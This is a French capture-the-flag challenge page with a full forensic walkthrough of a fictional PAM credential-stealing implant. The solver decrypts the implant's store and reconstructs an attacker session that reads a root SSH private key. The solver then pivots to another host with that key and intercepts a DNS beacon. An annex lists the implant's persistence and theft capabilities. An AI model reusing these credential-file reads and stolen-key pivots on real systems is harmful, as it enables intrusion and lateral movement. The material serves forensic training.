CERT-FR OP gorgone TARGET armex-gitlab-01.armex-ind.fr SESSION offline TTL
CTF CHALLENGE // LINUX FORENSICS // PAM IMPLANT

PAMDEMIC

Briefing opérateur [01]

Un implant — pam_audit_helper.so — a été découvert dans /etc/ld.so.preload sur armex-gitlab-01, le serveur Linux hébergeant le GitLab interne d'Armex. En se glissant dans ld.so.preload, il se charge dans chaque processus du système : sessions SSH des développeurs, sudo, cron — tout. Son rôle : hooker l'authentification PAM pour capturer les credentials au vol, chiffrer un store local, et baliser vers un C2 externe désormais injoignable.

Erreur de l'opérateur adverse : il a réutilisé ce même store chiffré comme bloc-notes de session — OpSec défaillante. Ses notes de travail sont encore dedans.

Vous disposez d'un accès root temporaire sur la machine compromise. Objectif : remonter la chaîne — preuve d'implantation, notes de l'opérateur, credentials SSH capturés par son hook, sessions PAM loggées en temps réel (y compris la vôtre), replay de la session admin via le trap bashrc, puis utiliser la clé SSH harvestée pour pivoter sur armex-pivot-01 et enfin intercepter la clé de commande que le beacon transmet toutes les 60 secondes avant qu'elle ne serve à frapper armex-vpn-gw.

Accès sandbox [02]
Slots : / disponible(s)

Conteneur isolé · accès root · détruit après 1h d'inactivité.

Chaîne de compromission [03]
Progression
0/7
FLAG·1 Ghost in Auth pending
FLAG·2 Scratchpad opérateur pending
FLAG·3 SSH harvest (creds pam_sm_open_session) pending
FLAG·4 Self-capture (hook pam_sm_open_session live) pending
FLAG·5 TTY replay (trap bashrc — vos commandes sont loggées) pending
FLAG·6 SSH pivot (clé harvestée → armex-pivot-01) pending
FLAG·7 Clé opérateur (beacon DNS) pending
⚠ spoiler — résolution complète du challenge
01Ghost in Authpreload · pam.d
HINT — Un binaire se charge dans chaque processus sans toucher aux binaires eux-mêmes. Où ce mécanisme est-il configuré ? Et quand un module PAM est installé, qu'est-ce qu'il modifie généralement ?

Premier réflexe sur un système compromis : regarder ce qui se charge au démarrage de chaque processus. /etc/ld.so.preload est le mécanisme classique pour injecter une lib dans tous les processus sans toucher aux binaires. Un fichier là-dedans, c'est une alerte immédiate.

$cat /etc/ld.so.preload
/lib/security/pam_audit_helper.so

Un module PAM en preload — l'implant tourne dans chaque processus du système. Les modules PAM modifient souvent /etc/pam.d/ lors de leur installation. En regardant common-auth, on remarque un commentaire inhabituel avec une référence d'audit.

$cat /etc/pam.d/common-auth
# audit-ref: PAMDEMIC{...} ← FLAG 1
02Scratchpad opérateurfind · strace · xchacha20
HINT — Trois PAMDEMIC{} apparaissent facilement (logs, /tmp, strings du binaire) — l'implant les a plantés comme leurres. Aucun n'est valide. Le vrai chemin : les fichiers créés au runtime dans un dossier système caché. Ce dossier contient un gconv-modules de dev qui révèle la dérivation de clé et les noms des entrées du store. Strace confirme d'où vient la disk_key.

Le MOTD mentionne que l'opérateur adverse a laissé un scratchpad dans le store de l'implant. Premier réflexe CERT : les logs système.

$grep -r PAMDEMIC /var/log/ 2>/dev/null
auth.log: pam_audit_helper[1338]: ref=PAMDEMIC{...} type=session_open user=root ← soumis → refusé

L'entrée auth.log a l'air légitime — un audit-token PAM. Mais c'est l'implant lui-même qui a crafté ce log pour ralentir l'analyse. On continue. En faisant du recon général on tombe sur un fichier suspect dans /tmp :

$find /tmp -name ".*" -type f 2>/dev/null
/tmp/.X11-unix/.Xlock
$tail -n +2 /tmp/.X11-unix/.Xlock | base64 -d
jmonsouri:Arm3x2024! root:gl4b@dm1n2023 session_token:PAMDEMIC{...} ← soumis → refusé

Des credentials harvestés et un token base64 — encore un leurre planté par l'implant. On tente strings sur le binaire. Surprise : une chaîne PAMDEMIC en clair.

$strings /lib/security/pam_audit_helper.so | grep PAMDEMIC
PAMDEMIC{...} ← soumis → refusé (3ème leurre)

L'implant a injecté un fake flag en clair dans son propre binaire — un classique pour faire perdre du temps. Toutes les vraies données sont chiffrées. Il faut chercher ce que l'implant a créé au runtime, pas ce qu'il contient statiquement.

Chercher des fichiers créés au démarrage, plus récents que les fichiers système :

$find /usr/lib -newer /etc/motd -type f -name "????????????????" 2>/dev/null
/usr/lib/x86_64-linux-gnu/.gconv-modules.d/5d82e1bd8d381dcb /usr/lib/x86_64-linux-gnu/.gconv-modules.d/dd945554ff30c578 ...

Des fichiers avec des noms en hex dans un dossier caché qui imite un répertoire système légitime. Le contenu est binaire aléatoire — clairement chiffré. Les noms ont exactement 16 caractères hex, ce qui ressemble à SHA-256(clé)[:16]. Pour confirmer d'où vient la clé de chiffrement, on lance strace -f sur un nouveau shell : le module se charge à chaque nouveau processus, son daemon fork et on peut observer tous ses appels système.

$strace -f -e trace=openat bash -l 2>&1 | grep -E 'machine-id|hostname|gconv'
openat(AT_FDCWD, "/etc/machine-id", O_RDONLY) = 4 openat(AT_FDCWD, "/etc/hostname", O_RDONLY) = 4 openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/.gconv-modules.d/5d82e1bd8d381dcb", O_RDONLY) = 4 ...

Le daemon lit machine-id puis hostname — deux fichiers d'identité unique par machine. La disk_key est probablement dérivée de ces deux valeurs. SHA-256 est le choix standard.

$python3 -c "import hashlib; mid=open('/etc/machine-id','rb').read().strip(); host=open('/etc/hostname','rb').read().strip(); print(hashlib.sha256(mid+host).hexdigest())"

Le dossier store contient un gconv-modules — commentaire de dev laissé par inadvertance. Il liste les entrées actives du store.

$cat /usr/lib/x86_64-linux-gnu/.gconv-modules.d/gconv-modules
# FIXME: store v2 rollout pending # host key = sha256(machine-id + hostname) # entry id = sha256(name)[:16] # entries : op_notes c2_session ssh_harvest pam_sessions tty_harvest ssh_key # need to switch to HKDF before next campaign

Trois entrées connues. On vérifie que le hash de op_notes correspond bien à un fichier présent dans le store.

$python3 -c "import hashlib; print(hashlib.sha256(b'op_notes').hexdigest()[:16])"
5d82e1bd8d381dcb ← fichier présent dans le store ✓

Le fichier fait 24 octets de nonce + données chiffrées + 16 octets de tag — c'est le format standard XChaCha20-Poly1305 (nonce étendu de 24 octets, contrairement aux 12 de ChaCha20-IETF). On implémente HChaCha20 pour dériver la sous-clé puis on déchiffre avec la lib Python.

$python3 - <<'EOF'
import hashlib, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305

def hchacha20(key, nonce16):
    state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
    state += list(struct.unpack_from('<8I', key))
    state += list(struct.unpack_from('<4I', nonce16))
    def qr(a,b,c,d):
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
    for _ in range(10):
        qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
        qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
    return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])

def decrypt(key, blob):
    n24 = blob[:24]; ct = blob[24:]
    return ChaCha20Poly1305(hchacha20(key, n24[:16])).decrypt(b'\x00'*4 + n24[16:], ct, b'')

mid  = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk   = hashlib.sha256(mid + host).digest()
fn   = hashlib.sha256(b'op_notes').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
print(decrypt(dk, blob).decode())
EOF
... PAMDEMIC{...} ← FLAG 2
03SSH harvest (hook pam_sm_open_session)strings · nm · ssh_harvest
HINT — Le scratchpad mentionne "creds SSH → ssh_harvest". Confirme d'abord que la PAM a bien un hook SSH : strings sur le .so révèle des chaînes OpenSSH, et nm -D confirme que pam_sm_open_session est implémenté. Ensuite même mécanique que le FLAG 2, juste une autre clé.

Le scratchpad liste deux entrées du store : c2_session (utilitaire, contient la session_key dont on aura besoin au FLAG 4) et ssh_harvest (dump du hook SSH — c'est là qu'est le flag). Avant de plonger dans le store, on vérifie que la PAM a vraiment une capacité SSH — pas juste un beacon DNS.

$strings /lib/security/pam_audit_helper.so | grep -iE 'openssh|kex|openssh-key' | head
OpenSSH SSH-2.0-OpenSSH_9.6 SSH-2.0-OpenSSH_9.7p1 curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,... openssh-key aes256-gcm@openssh.com,aes128-ctr,chacha20-poly1305@openssh.com

Le binaire embarque des bannières et suites KEX OpenSSH — le module se comporte comme un client SSH pour intercepter/relayer des sessions, ou plus simplement pour reconnaître le contexte SSH et capturer les credentials. On confirme côté symboles PAM :

$nm -D --defined-only /lib/security/pam_audit_helper.so | grep pam_sm
T pam_sm_acct_mgmt T pam_sm_authenticate T pam_sm_close_session T pam_sm_open_session ← dump des creds ici T pam_sm_setcred

Tous les entry points PAM sont implémentés. pam_sm_open_session est le moment où PAM expose encore le mot de passe en clair (avant que pam_unix ne l'efface du handle) — c'est la fenêtre exacte utilisée par le module pour dumper les creds dans le store, sous la clé ssh_harvest.

$python3 -c "import hashlib; print(hashlib.sha256(b'ssh_harvest').hexdigest()[:16])"
ec06fddd37038d7a

Même script de déchiffrement que le FLAG 2, on remplace 'op_notes' par 'ssh_harvest'.

{"hook":"pam_sm_open_session","service":"sshd","captured":[ {"user":"jmonsouri","host":"armex-build-01","src_ip":"10.33.37.12","method":"password","pass":"Arm3x2024!",...}, {"user":"svcgitlab","host":"armex-gitlab-01","src_ip":"10.33.37.1","method":"password","pass":"gl4b@dm1n2023",...}, {"user":"root","host":"armex-vpn-gw","src_ip":"10.33.37.1","method":"password","pass":"VpnGw#9182",...} ],"flag":"PAMDEMIC{...}"} ← FLAG 3
04Self-capture (pam_sm_open_session live)store · pam_sessions · bashrc trap
HINT — Le fichier gconv-modules liste maintenant 6 entrées. L'une s'appelle pam_sessions. Déchiffre-la avec la même disk_key. Ensuite cherche un fichier de log live dans un répertoire caché de /tmp.

Le store contient une entrée pam_sessions — le hook pam_sm_open_session y logue chaque ouverture de session PAM sur le système. Même mécanique que les flags 2 et 3, on change juste le nom.

$python3 - <<'EOF'
import hashlib, json
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
import struct

def hchacha20(key, nonce16):
    state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
    state += list(struct.unpack_from('<8I', key))
    state += list(struct.unpack_from('<4I', nonce16))
    def qr(a,b,c,d):
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
    for _ in range(10):
        qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
        qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
    return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])

def decrypt(key, blob):
    n24 = blob[:24]; ct = blob[24:]
    return ChaCha20Poly1305(hchacha20(key, n24[:16])).decrypt(b'\x00'*4 + n24[16:], ct, b'')

mid  = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk   = hashlib.sha256(mid + host).digest()
fn   = hashlib.sha256(b'pam_sessions').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
data = json.loads(decrypt(dk, blob))
print(json.dumps(data, indent=2))
EOF
{"hook": "pam_sm_open_session", "note": "chaque ouverture de session PAM est loggée ici — y compris la vôtre", "sessions": [ {"ts": ..., "user": "jmonsouri", "rhost": "10.33.37.12", ...}, {"ts": ..., "user": "root", "rhost": "10.33.37.1", ...}, {"ts": ..., "user": "root", "rhost": "10.33.37.1", "note": "session d'infection", "flag": "PAMDEMIC{...}"} ← FLAG 5 ]}

La session d'infection elle-même est dans le store — le hook s'est activé exactement à ce moment. Mais le plus frappant : votre propre connexion est aussi en train d'être loggée en direct. Un fichier caché dans /tmp/.gconv/ capture chaque commande que vous tapez.

$cat /tmp/.gconv/pam_commands.log
[2024-03-24 03:47:05] root > id [2024-03-24 03:47:11] root > uname -a [2024-03-24 03:47:28] root > ls /usr/lib/x86_64-linux-gnu/.gconv-modules.d/ ... [2024-03-24 08:23:14] root > cat /etc/ld.so.preload ← vos propres commandes, en temps réel [2024-03-24 08:23:31] root > cat /etc/pam.d/common-auth

Le hook pam_inject_bashrc a injecté un PROMPT_COMMAND dans /etc/bash.bashrc au démarrage — votre session est enregistrée depuis le premier ls que vous avez tapé.

05TTY replay (session admin reconstituée)store · tty_harvest · pam_inject_bashrc
HINT — Une entrée tty_harvest est dans le store. L'implant a loggé la session de l'admin qui a installé le hook. Déchiffre-la — les commandes qu'il a tapées révèlent sa prochaine cible.

Même mécanique que les flags précédents, on déchiffre tty_harvest.

$python3 - <<'EOF'
import hashlib, json, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305

def hchacha20(key, nonce16):
    state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
    state += list(struct.unpack_from('<8I', key))
    state += list(struct.unpack_from('<4I', nonce16))
    def qr(a,b,c,d):
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
    for _ in range(10):
        qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
        qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
    return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])

mid  = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk   = hashlib.sha256(mid + host).digest()
fn   = hashlib.sha256(b'tty_harvest').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
data = json.loads(ChaCha20Poly1305(hchacha20(dk, blob[:16][:16])).decrypt(b'\x00'*4+blob[:24][16:], blob[24:], b''))
# version courte avec la fonction decrypt définie plus haut :
# data = json.loads(decrypt(dk, blob))
import datetime
for c in data['commands']:
    ts = datetime.datetime.fromtimestamp(c['ts']).strftime('%Y-%m-%d %H:%M:%S')
    cmd = c['cmd']
    print(f"[{ts}] root > {cmd}")
print("\nflag:", data['flag'])
EOF
[2024-03-24 03:47:05] root > id [2024-03-24 03:47:11] root > uname -a [2024-03-24 03:47:28] root > ls /usr/lib/x86_64-linux-gnu/.gconv-modules.d/ [2024-03-24 03:47:44] root > python3 /opt/pamdemic/plant_artifacts.py [2024-03-24 03:48:07] root > find /root/.ssh /home -name 'id_*' 2>/dev/null [2024-03-24 03:48:29] root > cat /root/.ssh/id_ed25519 [2024-03-24 03:48:43] root > ssh -i /root/.ssh/id_ed25519 -p 2222 analyst@armex-pivot-01 ← indice FLAG 7 [2024-03-24 03:49:01] root > cat /home/analyst/flag.txt [2024-03-24 03:49:13] root > exit flag: PAMDEMIC{...} ← FLAG 6

La session admin reconstituée montre qu'il a harvesté la clé SSH de root, puis s'est connecté à armex-pivot-01 sur le port 2222 avec l'utilisateur analyst. Cette clé est dans le store sous ssh_key — l'implant l'a capturée au passage.

06SSH pivot (clé harvestée → armex-pivot-01)store · ssh_key · ssh -p 2222
HINT — L'implant a capturé la clé SSH privée de l'admin dans le store (ssh_key). Extrais-la, sauvegarde-la dans un fichier, et connecte-toi à armex-pivot-01 sur le port 2222 en tant qu'analyst.

Le store contient l'entrée ssh_key — la clé Ed25519 privée harvestée par le plugin ssh_harvest lors de la session root. On extrait la PEM et on pivot.

$python3 - <<'EOF'
import hashlib, json, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305

def hchacha20(key, nonce16):
    state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
    state += list(struct.unpack_from('<8I', key))
    state += list(struct.unpack_from('<4I', nonce16))
    def qr(a,b,c,d):
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
    for _ in range(10):
        qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
        qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
    return struct.pack('<8I', state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])

def decrypt(key, blob):
    n24 = blob[:24]; ct = blob[24:]
    return ChaCha20Poly1305(hchacha20(key, n24[:16])).decrypt(b'\x00'*4 + n24[16:], ct, b'')

mid  = open('/etc/machine-id','rb').read().strip()
host = open('/etc/hostname','rb').read().strip()
dk   = hashlib.sha256(mid + host).digest()
fn   = hashlib.sha256(b'ssh_key').hexdigest()[:16]
blob = open(f'/usr/lib/x86_64-linux-gnu/.gconv-modules.d/{fn}','rb').read()
data = json.loads(decrypt(dk, blob))
print(f"target : {data['target_user']}@{data['target_host']}:{data['target_port']}")
with open('/tmp/pivot_key','w') as f:
    f.write(data['private_key'])
import os; os.chmod('/tmp/pivot_key', 0o600)
print("clé écrite dans /tmp/pivot_key")
EOF
target : analyst@armex-pivot-01:2222 clé écrite dans /tmp/pivot_key
$ssh -i /tmp/pivot_key -p 2222 -o StrictHostKeyChecking=no analyst@armex-pivot-01
analyst@armex-pivot-01:~$ cat flag.txt PAMDEMIC{...} ← FLAG 6

La clé harvestée par l'implant donne un accès direct au serveur pivot. L'opérateur adverse avait préparé ce compte pour ses mouvements latéraux — c'est maintenant notre point d'entrée pour auditer armex-pivot-01.

07Clé opérateur (beacon DNS)tcpdump · dns qname · xchacha
HINT — Le beacon sort en UDP/53 toutes les 60 secondes. Capture un paquet, les données sont dans les labels DNS (base64url). La session_key pour déchiffrer est dans c2_session (même store, même disk_key que le FLAG 2).

Le beacon est embarqué directement dans le .so (plugin ctf-beacon), chargé via LD_PRELOAD — pur C, pas de binaire externe. Il fork un daemon au premier chargement ; ps ne montre aucun processus beacon distinct. La piste /proc/<pid>/environ ne mène nulle part : la clé maître y est absente par conception. En revanche, ses connexions réseau sont visibles avec ss ou tcpdump : UDP vers 10.33.37.1:53 toutes les 60 secondes — du trafic DNS. Les données sont encodées dans le QNAME. Le script ci-dessous capture le prochain paquet, puis déchiffre le payload XChaCha20 avec la session_key déjà présente dans /run/c2_session.key (écrite au démarrage du conteneur). Le JSON déchiffré contient un champ pivot_auth — c'est la clé que l'opérateur allait transmettre à son C2 pour déclencher le pivot vers armex-vpn-gw. Interceptée avant qu'elle parte : l'opération GORGONE est neutralisée.

# One-shot : tcpdump s'arrête seul après 1 paquet (-c 1), puis déchiffrement
tcpdump -U -c 1 -i eth0 -w /tmp/b.pcap 'udp and dst host 10.33.37.1' && \
python3 - <<'EOF'
import json, base64, struct
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305

raw = open('/tmp/b.pcap','rb').read()
pos = 24
cap_len = struct.unpack_from('<I', raw, pos+8)[0]
pkt = raw[pos+16:pos+16+cap_len]
ihl = (pkt[14] & 0xF) * 4
dns = pkt[14+ihl+8:]

p = 12; labels = []
while dns[p]:
    l = dns[p]; p += 1
    labels.append(dns[p:p+l].decode()); p += l
# derniers 3 labels = rand_subdomain + pamdemic-apt + xyz
b = ''.join(labels[:-3])
blob = base64.urlsafe_b64decode(b + '=' * (-len(b) % 4))

session_key = bytes.fromhex(open('/run/c2_session.key').read().strip())

def hchacha20(key, n16):
    state = list(struct.unpack_from('<4I', b'expand 32-byte k'))
    state += list(struct.unpack_from('<8I', key))
    state += list(struct.unpack_from('<4I', n16))
    def qr(a,b,c,d):
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<16)|(state[d]>>16))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<12)|(state[b]>>20))&0xFFFFFFFF
        state[a]=(state[a]+state[b])&0xFFFFFFFF; state[d]^=state[a]; state[d]=((state[d]<<8)|(state[d]>>24))&0xFFFFFFFF
        state[c]=(state[c]+state[d])&0xFFFFFFFF; state[b]^=state[c]; state[b]=((state[b]<<7)|(state[b]>>25))&0xFFFFFFFF
    for _ in range(10):
        qr(0,4,8,12);qr(1,5,9,13);qr(2,6,10,14);qr(3,7,11,15)
        qr(0,5,10,15);qr(1,6,11,12);qr(2,7,8,13);qr(3,4,9,14)
    return struct.pack('<8I',state[0],state[1],state[2],state[3],state[12],state[13],state[14],state[15])

n24 = blob[:24]; ct = blob[24:]
data = json.loads(ChaCha20Poly1305(hchacha20(session_key, n24[:16])).decrypt(b'\x00'*4+n24[16:], ct, b''))
print(json.dumps(data, indent=2))
print('\n>>> FLAG 7:', data['pivot_auth'], '  ← FLAG 7')
EOF
Annexe DFIR : capacités observées hors scopepour le rapport

pam_audit_helper.so n'est pas un simple hook PAM — c'est un framework post-exploit complet chargé dans chaque processus du système via ld.so.preload. Ces capacités n'étaient pas requises par les 4 flags mais doivent figurer dans le rapport CERT.

▸ Persistance & furtivité

  • Chargement universelld.so.preload injecte l'implant dans chaque processus sans modifier aucun binaire système ; architecture plugin dynamique via plugin_info.
  • Persistance 5 couches — udev (ajout interface réseau), initramfs (avant /sbin/init, Debian + Red Hat), GRUB hook, paramètre kernel init=, partition EFI (/boot/efi/EFI/.gc/payload.so) — survit à une réinstallation OS complète.
  • Anti-détection — hook readdir(3) masque le store aux outils libc ; timestamp cloné sur pam_unix.so (find -newer aveugle) ; binaire immuable (chattr +i) ; section ELF .text.morph réécrite entre déploiements.
  • Mise à jour à chaud — rechargement sans redémarrage via dlopen/dlsym après livraison sur stdin, timestamp respoofé et chattr +i réappliqué.

▸ Exfiltration & mouvement latéral

  • Credential harvest — hook libcrypt.so capture les mots de passe avant hachage dans tout processus ; pam_sm_open_session dump les sessions SSH. Scope : comptes OS, clés SSH, tokens cloud (AWS/Azure/GCP), cookies navigateur (Chrome, Firefox), wallets, OAuth, applications (Slack, Signal, FileZilla, .npmrc, .pypirc…).
  • Propagation automatisée — réplication SSH aux nœuds connus avec les clés harvestées ; hook zz-gconv-update (dernier hook alphabétique) s'exécute à chaque upgrade système ; supply chain via .npmrc/.pypirc volés.
  • Exploitation infrastructure — 40+ plugins web (Apache, Nginx, Spring, Jenkins, Kubernetes, Docker, cloud IMDS) ; escape container via API Docker non authentifiée (port 2375), privileged pod K8s, WAR deploy Tomcat.
  • Cibles cross-platform — Linux/macOS/Windows (Cygwin/WSL, MSSQL, NetBIOS) ; TTY dump des sessions actives.

▸ Infrastructure C2

  • Trois canaux redondants — beacon DNS UDP/53 (vu au FLAG 4), SSH embarqué (Dropbear), fallback c2.home — bascule automatique si un canal est coupé.
  • Mesh overlay chiffré — communication inter-nœuds indépendante du C2 DNS ; KEM hybride post-quantique sntrup761x25519-sha512, signatures Falcon, identité cryptographique propre à chaque nœud.
  • Implication éradication — le mesh survit à la destruction du C2 DNS. La remédiation doit être simultanée sur l'ensemble du réseau Armex ; toute machine compromise restante peut réinfester le parc.

L'adversaire a déployé un implant de niveau APT, pas un simple vol de credentials. La surface d'exposition dépasse le périmètre GitLab — une analyse complète du réseau Armex est requise avant toute déclaration de remédiation.